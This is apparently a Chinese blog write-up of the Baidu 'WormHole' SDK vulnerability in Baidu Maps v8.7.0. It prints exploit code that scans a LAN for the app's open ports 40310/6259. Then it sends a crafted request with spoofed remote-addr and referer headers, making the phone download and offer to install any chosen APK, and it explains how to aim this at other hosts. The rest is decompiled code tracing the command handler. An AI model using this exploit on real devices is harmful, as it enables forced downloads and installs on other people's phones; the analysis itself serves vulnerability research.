百度全系APP SDK漏洞–WormHole虫洞漏洞

   0x00

    我们以百度地图v8.7.0为例来分析百度蠕虫漏洞,apk下载地址为https://github.com/jltxgcy/AppVulnerability/Baidu_Maps_v8.7.0.apk

    使用Android Killer来打开这个apk,Android Killer下载地址为http://pan.baidu.com/s/1jGQUzwa

    我们先讲述如何在代码层利用这个漏洞,然后再分析其原理。

    百度蠕虫漏洞利用代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/BaiduWormHole


   0x01

    1、首先要安装百度地图v8.7.0的apk,并启动apk。因为apk启动后才有这个漏洞,才可以被利用。

    2、 然后运行BaiduWormHole这个Android工程,运行后效果如下图:

     
     

    点击扫描按钮,实际上看局域网内是否有可以被利用的端口40310。代码如下:

    private List<String> checkHosts(String subnet) {
        List<String> ret = new ArrayList<>();
        for (int i = 1; i < 255; i++) {
            String host = subnet + "." + i;

            if (isReachable(host, 6259)) {
                host += ":6259";
                ret.add(host);
            } else if (isReachable(host, 40310)) {
                host += ":40310";
                ret.add(host);
            }
        }

        return ret;
    }
    比如局域网本机IP为10.10.154.12,那么会遍历从10.10.154.0:40310~10.10.154.255:40310是否可连接,可连接说明可以利用这个漏洞。这是为什么呢?我们一会分析。isReadable实现如下:

    private boolean isReachable(String host, int port) {
        SocketAddress sockaddr = new InetSocketAddress(host, port);
        Socket socket = new Socket();
        try {
            socket.connect(sockaddr, timeout);
        } catch (Exception e) {
            return false;
        } finally {
            try {
                socket.close();
            } catch (IOException ex) {
            }
        }

        return true;
    }
    

    我们接着看点击开始,会执行什么代码:

URL url;
try {
	url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
			+ urlText.getText().toString() + "&savepath=Download1&filesize=10");
	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
	conn.setConnectTimeout(5000);
	conn.setReadTimeout(5000);
	conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
	conn.setRequestProperty("remote-addr", "127.0.0.1");
	conn.setRequestProperty("referer", "http://www.baidu.com");
	int responseCode = conn.getResponseCode();
	if (responseCode == HttpURLConnection.HTTP_OK){
		return convertStreamToString(conn.getInputStream());
	}
}
catch (Exception e) {
	// TODO Auto-generated catch block
	e.printStackTrace();
}
    刚刚判断了局域网内是否有可以被攻击的对象。我们假设本机的IP地址为10.10.154.12,假设本机和另一个机器10.10.154.18都安装百度地图v8.7.0的apk,并且已经运行过。那么扫描的结果就是这两个ip地址,10.10.154.12和10.10.154.18。

    在我们这个工程中,直接写死了127.0.0.1说明是本机地址也就是10.10.154.12。如果想攻击局域网内其他机器,如10.10.154.18,那么要改为10.10.154.18。便可攻击局域网其他机器。

    我们以本机攻击为例,实际上百度蠕虫漏洞的本质是百度应用在本机利用socket开了一个简易的WebServer,参考使用NanoHttpd实现简易WebServer

    以上url请求后,会根据downloadurl的地址下载对应的内容,这个例子是下载微信apk,然后提示用户安装。

   

   0x02

    下面分析原理,我们先从后往前推理,参考NanoHttpd实现简易WebServer。百度地图也一定初始化了ServerSocket,我们找到对应的代码位于com.baidu.hello.patch.moplus.nebula.b包下a类中a()方法。如下:

  public void a()
  {
    this.c = new ServerSocket();
    ServerSocket localServerSocket = this.c;
    if (this.a != null) {}
    for (InetSocketAddress localInetSocketAddress = new InetSocketAddress(this.a, this.b);; localInetSocketAddress = new InetSocketAddress(this.b))
    {
      localServerSocket.bind(localInetSocketAddress);
      this.e = new Thread(new v(this));
      this.e.setDaemon(true);
      this.e.setName("NanoHttpd Main Listener");
      this.e.start();
      return;
    }
  }
    我们还记得NanoHttpd实现简易WebServer一文中,这个函数是非常重要的:

public Response serve(String uri, Method method, 
            Map<String, String> header,
            Map<String, String> parameters,
            Map<String, String> files)
    在百度地图中也有这个方法,它位于com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法。w类继承于com.baidu.hello.patch.moplus.nebula.b包下a类,和NanoHttpd实现简易WebServer基本一致。

    这样我们就知道a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法是NanoHttpd工作的核心。对于本例来说paramString为downloadfile,paramMap1{(remote-add,127.0.0.1),(referer,http://www.baidu.com)},paramMap2为callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl=" + urlText.getText().toString() + "&savepath=Download1&filesize=10这些参数的键值对。


    在继续分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法前,大家一定很好奇这个方法是经过什么样的流程执行到这里的呢?

    假设我们现在想知道w类是在什么时候初始化的,那么我们利用Android Killer搜索Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V,就能找到调用它的位置,我们找到了,如下图:


    我们知道在Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V方法执行的流程中最终会调用到Lcom/baidu/hello/patch/moplus/nebula/b/a;->a()V;也就是上面初始化ServerSocket的地方。

    顺着这个思路继续向上寻找,就能打通调用流程,请参考启明星辰ADLab:百度WormHole详细分析报告


    我们接着分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3),上文已经说明了各个参数的含义,我们列出反编译的代码,继续分析:

  public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
  {
    Object localObject3 = null;
    Object localObject1;
    if (m.f.equals(paramm)) {
      try
      {
        localObject1 = new com/baidu/hello/patch/moplus/nebula/b/b;
        ((b)localObject1).<init>("");
        localException1.printStackTrace();
      }
      catch (Exception localException1)
      {
        try
        {
          ((b)localObject1).a("Access-Control-Allow-Origin", "*");
          paramString = (String)localObject1;
          return paramString;
        }
        catch (Exception localException2)
        {
          for (;;)
          {
            continue;
            paramMap2 = (Map)localObject1;
          }
        }
        localException1 = localException1;
        localObject1 = localObject3;
      }
    }
    ......
      Object localObject2 = paramString.substring(1);
      label217:
      localObject3 = (String)paramMap2.get("mcmdf");//mcmdf要为inapp_baidu_bdgjs
      if ((!TextUtils.isEmpty((CharSequence)localObject3)) && (!TextUtils.equals((CharSequence)localObject3, "null")) && (((String)localObject3).startsWith("inapp_")))
      {
        localObject3 = new e(this.f);
        if (TextUtils.equals((CharSequence)paramMap1.get("remote-addr"), "127.0.0.1")) {}//remote-addr要为127.0.0.1
        for (paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3);; paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3))
        {
          ......
        }
      }
      label396:
      localObject1 = null;
    }
  }
    这段代码解释了为什么mcmdf要为inapp_baidu_bdgjs,remote-addr要为127.0.0.1,详见代码中的注释。

    然后调用了:

invoke-virtual/range {v0 .. v5}, Lcom/baidu/hello/patch/moplus/nebula/cmd/e;->a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)Lcom/baidu/hello/patch/moplus/nebula/b/b;

    对应反编译的代码为:

((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3)
    localObject2为downloadfile,paramMap1,paramMap2,paramMap3还是原来的那些参数。

    那么我们接着看com.baidu.hello.patch.moplus.nebula.cmd包下e类中a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)方法,如下:

public class e
{
  private static final Map a = new HashMap();
  private static final String b = SendIntent.class.getPackage().getName() + ".";
  private Context c;
  
  static
  {
    a.put("geolocation", b + "GetLocLiteString");
    a.put("getsearchboxinfo", b + "GetSearchboxInfo");
    a.put("getapn", b + "GetApn");
    a.put("getserviceinfo", b + "GetServiceInfo");
    a.put("getpackageinfo", b + "GetPackageInfo");
    a.put("sendintent", b + "SendIntent");
    a.put("getcuid", b + "GetCuid");
    a.put("getlocstring", b + "GetLocString");
    a.put("scandownloadfile", b + "ScanDownloadFile");
    a.put("addcontactinfo", b + "AddContactInfo");
    a.put("getapplist", b + "GetAppList");
    a.put("downloadfile", b + "DownloadFile");
    a.put("uploadfile", b + "UploadFile");
  }
  
  public e(Context paramContext)
  {
    this.c = paramContext;
  }
  
  public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
  {
    if (TextUtils.isEmpty(paramString)) {
      paramString = null;
    }
    for (;;)
    {
      return paramString;
      paramString = a(paramString);//根据downloadfile为key,获取类Downloadfile
      if (paramString == null) {
        paramString = null;
      } else {
        try
        {
          paramString = (h)Class.forName(paramString).newInstance();
          if (paramString == null) {
            paramString = null;
          }
        }
        catch (ClassNotFoundException paramString)
        {
          for (;;)
          {
            paramString = null;
          }
        }
        catch (ClassCastException paramString)
        {
          for (;;)
          {
            paramString = null;
          }
        }
        catch (IllegalAccessException paramString)
        {
          for (;;)
          {
            paramString = null;
          }
        }
        catch (InstantiationException paramString)
        {
          for (;;)
          {
            paramString = null;
          }
          paramString = paramString.execute(paramm, paramMap1, paramMap2, paramMap3);//执行了Downloadfile类的execute方法
        }
      }
    }
  }
  
  public String a(String paramString)
  {
    return (String)a.get(paramString);
  }
}
    我们接着看Downloadfile类的execute方法:

public com.baidu.hello.patch.moplus.nebula.b.b execute(m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
  {
    if ((paramMap2 == null) || (paramMap2.size() < 1)) {
      paramm = null;
    }
    for (;;)
    {
      return paramm;
      paramMap3 = (String)paramMap2.get("callback");//需要callback参数	
      this.mContext = com.baidu.hello.patch.moplus.nebula.c.a.a().b();
      if (this.mContext == null)
      {
        paramm = null;
      }
      else
      {
        paramm = (String)paramMap1.get("referer");//需要referer参数
        if (!com.baidu.hello.patch.moplus.nebula.c.b.a(this.mContext).a(paramm)) {
          this.mErrcode = 4;
        }
        paramm = (String)paramMap2.get("querydown");//需要querydown参数
        String str2 = (String)paramMap2.get("downloadurl");//需要downloadurl参数
        String str1 = (String)paramMap2.get("savepath");//需要savepath参数
        long l = Long.parseLong((String)paramMap2.get("filesize"));//需要filesize参数
        paramMap1 = new com.baidu.hello.patch.moplus.b.a();//把参数保存在了这个类中
        paramMap1.b = str2;
        paramMap1.c = str1;
        paramMap1.d = l;
        if (TextUtils.equals(paramm, "download")) {
          if (this.mErrcode != 4)
          {
            this.mErrcode = 1;
            paramMap2 = new d(this.mContext, paramMap1);
            c.a().a(paramMap2);//最后执行这个函数
            this.mErrcode = 0;
          }
        }
       .....
    }
  }
    上面的代码已经解释了为什么需要Url要包含这么多参数。
	url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
			+ urlText.getText().toString() + "&savepath=Download1&filesize=10");


     函数继续执行到new d(this.mContext, paramMap1);代码如下:

public final class d
  extends b
{
  public d(Context paramContext, a parama)
  {
    super(paramContext, parama);
  }
  
  protected void a()
  {
    if (!TextUtils.isEmpty(this.c)) {
      com.baidu.hello.patch.moplus.pkgmanager.a.a(this.a).b(this.c, this.a);
    }
  }
}
   d类继承了b类,b类实现如下:

public class b
  implements Runnable
{
  protected Context a;
  protected a b;//所需要得下载地址,下载保持路径,下载文件大小都保存在这个对象中
  protected String c;
  private int d = 2;
  private int e = 0;
  private boolean f = false;
  
  public b(Context paramContext, a parama)
  {
    this.a = paramContext.getApplicationContext();
    this.b = parama;
  }
  
  /* Error */
  private boolean a(InputStream paramInputStream, long paramLong)
  {
    // Byte code:
    //   0: iconst_0
    //   1: istore 6
    //   3: invokestatic 47	com/baidu/hello/patch/moplus/systemmonitor/util/b:c	()J
    //   6: aload_0
    //   7: getfield 38	com/baidu/hello/patch/moplus/b/b:b	Lcom/baidu/hello/patch/moplus/b/a;
    //   10: getfield 52	com/baidu/hello/patch/moplus/b/a:d	J
    //   13: ldc2_w 53
    //   16: lmul
    //   17: ldc2_w 53
    //   20: lmul
    //   21: lcmp
    //   22: ifgt +10 -> 32
    //   25: iload 6
    //   27: istore 5
    //   29: iload 5
    //   31: ireturn
    //   32: aload_0
    //   33: aload_0
    //   34: getfield 38	com/baidu/hello/patch/moplus/b/b:b	Lcom/baidu/hello/patch/moplus/b/a;
    //   37: invokevirtual 57	com/baidu/hello/patch/moplus/b/a:a	()Ljava/lang/String;
    //   40: putfield 59	com/baidu/hello/patch/moplus/b/b:c	Ljava/lang/String;
    //   43: iload 6
    //   45: istore 5
    //   47: aload_0
    //   48: getfield 59	com/baidu/hello/patch/moplus/b/b:c	Ljava/lang/String;
    //   51: invokestatic 65	android/text/TextUtils:isEmpty	(Ljava/lang/CharSequence;)Z
    //   54: ifne -25 -> 29
    //   57: new 67	java/io/File
    //   60: dup
    //   61: aload_0
    //   62: getfield 59	com/baidu/hello/patch/moplus/b/b:c	Ljava/lang/String;
    //   65: invokespecial 70	java/io/File:<init>	(Ljava/lang/String;)V
    //   68: astore 11
    //   70: aload 11
    //   72: invokevirtual 74	java/io/File:getParentFile	()Ljava/io/File;
    //   75: astore 12
    //   77: aload 12
    //   79: invokevirtual 78	java/io/File:exists	()Z
    //   82: ifne +9 -> 91
    //   85: aload 12
    //   87: invokevirtual 81	java/io/File:mkdirs	()Z
    //   90: pop
    //   91: lconst_0
    //   92: lstore 7
    //   94: new 83	java/io/FileOutputStream
    //   97: astore 12
    //   99: aload 12
    //   101: aload 11
    //   103: invokespecial 86	java/io/FileOutputStream:<init>	(Ljava/io/File;)V
    //   106: lload 7
    //   108: lstore 9
    //   110: sipush 4096
    //   113: newarray <illegal type>
    //   115: astore 13
    //   117: lload 7
    //   119: lstore 9
    //   121: aload_1
    //   122: aload 13
    //   124: invokevirtual 92	java/io/InputStream:read	([B)I
    //   127: istore 4
    //   129: iload 4
    //   131: iflt +28 -> 159
    //   134: lload 7
    //   136: lstore 9
    //   138: aload 12
    //   140: aload 13
    //   142: iconst_0
    //   143: iload 4
    //   145: invokevirtual 96	java/io/FileOutputStream:write	([BII)V
    //   148: lload 7
    //   150: iload 4
    //   152: i2l
    //   153: ladd
    //   154: lstore 7
    //   156: goto -39 -> 117
    //   159: aload 12
    //   161: invokevirtual 99	java/io/FileOutputStream:flush	()V
    //   164: aload 12
    //   166: invokevirtual 103	java/io/FileOutputStream:getFD	()Ljava/io/FileDescriptor;
    //   169: invokevirtual 108	java/io/FileDescriptor:sync	()V
    //   172: aload 12
    //   174: invokevirtual 111	java/io/FileOutputStream:close	()V
    //   177: lload 7
    //   179: lload_2
    //   180: lcmp
    //   181: ifeq +65 -> 246
    //   184: aload 11
    //   186: invokevirtual 114	java/io/File:delete	()Z
    //   189: pop
    //   190: iload 6
    //   192: istore 5
    //   194: goto -165 -> 29
    //   197: astore_1
    //   198: iload 6
    //   200: istore 5
    //   202: goto -173 -> 29
    //   205: astore_1
    //   206: aload 12
    //   208: invokevirtual 99	java/io/FileOutputStream:flush	()V
    //   211: aload 12
    //   213: invokevirtual 103	java/io/FileOutputStream:getFD	()Ljava/io/FileDescriptor;
    //   216: invokevirtual 108	java/io/FileDescriptor:sync	()V
    //   219: aload 12
    //   221: invokevirtual 111	java/io/FileOutputStream:close	()V
    //   224: lload 9
    //   226: lload_2
    //   227: lcmp
    //   228: ifeq +16 -> 244
    //   231: aload 11
    //   233: invokevirtual 114	java/io/File:delete	()Z
    //   236: pop
    //   237: iload 6
    //   239: istore 5
    //   241: goto -212 -> 29
    //   244: aload_1
    //   245: athrow
    //   246: iconst_1
    //   247: istore 5
    //   249: goto -220 -> 29
    //   252: astore 13
    //   254: goto -35 -> 219
    //   257: astore_1
    //   258: goto -86 -> 172
    // Local variable table:
    //   start	length	slot	name	signature
    //   0	261	0	this	b
    //   0	261	1	paramInputStream	InputStream
    //   0	261	2	paramLong	long
    //   127	24	4	i	int
    //   27	221	5	bool1	boolean
    //   1	237	6	bool2	boolean
    //   92	86	7	l1	long
    //   108	117	9	l2	long
    //   68	164	11	localFile	java.io.File
    //   75	145	12	localObject	Object
    //   115	26	13	arrayOfByte	byte[]
    //   252	1	13	localIOException	IOException
    // Exception table:
    //   from	to	target	type
    //   94	106	197	java/io/IOException
    //   159	164	197	java/io/IOException
    //   172	177	197	java/io/IOException
    //   184	190	197	java/io/IOException
    //   206	211	197	java/io/IOException
    //   219	224	197	java/io/IOException
    //   231	237	197	java/io/IOException
    //   244	246	197	java/io/IOException
    //   110	117	205	finally
    //   121	129	205	finally
    //   138	148	205	finally
    //   211	219	252	java/io/IOException
    //   164	172	257	java/io/IOException
  }
  
  private void b()
  {
    if ((this.b == null) || (TextUtils.isEmpty(this.b.b)) || (TextUtils.isEmpty(this.b.c))) {}
    for (;;)
    {
      return;
      if (h.a(this.a))
      {
        boolean bool;
        do
        {
          bool = c();
          if (this.f) {
            d();
          }
        } while ((this.d > 0) && (this.f));
        if (bool) {
          a();
        }
      }
    }
  }
  
  private boolean c()
  {
    boolean bool5 = false;
    boolean bool7 = false;
    boolean bool6 = false;
    boolean bool4 = false;
    c localc = new c(this.a);
    Object localObject9 = null;
    InputStream localInputStream = null;
    Object localObject10 = null;
    Object localObject5 = null;
    boolean bool2 = bool7;
    Object localObject7 = localObject9;
    boolean bool3 = bool6;
    Object localObject8 = localInputStream;
    Object localObject1 = localObject10;
    for (;;)
    {
      try
      {
        localObject11 = new org/apache/http/client/methods/HttpGet;
        bool2 = bool7;
        localObject7 = localObject9;
        bool3 = bool6;
        localObject8 = localInputStream;
        localObject1 = localObject10;
        ((HttpGet)localObject11).<init>(this.b.b);
        bool2 = bool7;
        localObject7 = localObject9;
        bool3 = bool6;
        localObject8 = localInputStream;
        localObject1 = localObject10;
        localObject11 = localc.execute((HttpUriRequest)localObject11);
        bool1 = bool5;
        bool2 = bool7;
        localObject7 = localObject9;
        bool3 = bool6;
        localObject8 = localInputStream;
        localObject1 = localObject10;
        if (((HttpResponse)localObject11).getStatusLine().getStatusCode() != 200) {
          continue;
        }
        bool2 = bool7;
        localObject7 = localObject9;
        bool3 = bool6;
        localObject8 = localInputStream;
        localObject1 = localObject10;
        localObject5 = ((HttpResponse)localObject11).getFirstHeader("Content-Length");
        if (localObject5 != null) {
          continue;
        }
      }
      catch (IOException localIOException)
      {
        Object localObject11;
        Object localObject2;
        long l;
        Object localObject3 = localObject7;
        this.f = true;
        localc.a();
        try
        {
          ((InputStream)localObject7).close();
          bool1 = bool2;
        }
        catch (Exception localException3)
        {
          System.out.println(localException3.getMessage());
          bool1 = bool2;
        }
        continue;
      }
      catch (Exception localException4)
      {
        boolean bool1;
        Object localObject4 = localObject8;
        this.f = false;
        localc.a();
        try
        {
          ((InputStream)localObject8).close();
          bool1 = bool3;
        }
        catch (Exception localException5)
        {
          System.out.println(localException5.getMessage());
          bool1 = bool3;
        }
        continue;
      }
      finally
      {
        localc.a();
      }
      try
      {
        throw new NullPointerException();
        return bool1;
      }
      catch (Exception localException1)
      {
        System.out.println(localException1.getMessage());
        bool1 = bool4;
        continue;
      }
      bool2 = bool7;
      localObject7 = localObject9;
      bool3 = bool6;
      localObject8 = localInputStream;
      localObject2 = localObject10;
      l = Long.valueOf(((Header)localObject5).getValue()).longValue();
      bool2 = bool7;
      localObject7 = localObject9;
      bool3 = bool6;
      localObject8 = localInputStream;
      localObject2 = localObject10;
      localInputStream = ((HttpResponse)localObject11).getEntity().getContent();
      bool1 = bool5;
      localObject5 = localInputStream;
      if (localInputStream != null)
      {
        bool1 = bool5;
        localObject5 = localInputStream;
        bool2 = bool7;
        localObject7 = localInputStream;
        bool3 = bool6;
        localObject8 = localInputStream;
        localObject2 = localInputStream;
        if (a(localInputStream, l))
        {
          bool1 = true;
          localObject5 = localInputStream;
        }
      }
      bool2 = bool1;
      localObject7 = localObject5;
      bool3 = bool1;
      localObject8 = localObject5;
      localObject2 = localObject5;
      this.e = 0;
      bool2 = bool1;
      localObject7 = localObject5;
      bool3 = bool1;
      localObject8 = localObject5;
      localObject2 = localObject5;
      this.f = false;
      localc.a();
      try
      {
        ((InputStream)localObject5).close();
      }
      catch (Exception localException2)
      {
        System.out.println(localException2.getMessage());
      }
    }
    try
    {
      localException5.close();
      throw ((Throwable)localObject6);
    }
    catch (Exception localException6)
    {
      for (;;)
      {
        System.out.println(localException6.getMessage());
      }
    }
  }
  
  private void d()
  {
    this.e += 1;
    long l;
    if (this.e < this.d) {
      l = (this.e + 1) * 30;
    }
    try
    {
      Thread.sleep(l);
      for (;;)
      {
        return;
        this.f = false;
      }
    }
    catch (InterruptedException localInterruptedException)
    {
      for (;;) {}
    }
  }
  
  protected void a() {}
  
  public void run()
  {
    b();
  }
}
   这个类实现了Runnable对象,一会会执行run方法。该类所需要得下载地址,下载保持路径,下载文件大小都保存在com.baidu.hello.patch.moplus.b.a对象b中(protected a b;)。
 

    返回到Downloadfile类的execute方法,继续执行c.a().a(paramMap2),代码如下:

public final class c
{
  private static c b = null;
  private ExecutorService a = Executors.newFixedThreadPool(3, new com.baidu.hello.patch.moplus.a.c("MoPlus-DownloadThreadPool"));
  
  public static c a()
  {
    try
    {
      if (b == null)
      {
        localc = new com/baidu/hello/patch/moplus/b/c;
        localc.<init>();
        b = localc;
      }
      c localc = b;
      return localc;
    }
    finally {}
  }
  
  public void a(b paramb)
  {
    this.a.submit(paramb);
  }
}
    不言而喻,此时开始执行public class b implements Runnable的run方法,run方法调用b方法,b方法调用c方法,c方法首先调用a方法,a方法根据下载路径创建了文件夹和文件。接着c方法根据提供的url,从网络不断读取stream写入到savepath指定的文件中,完成下载工作。

阅读更多
换一批

没有更多推荐了,返回首页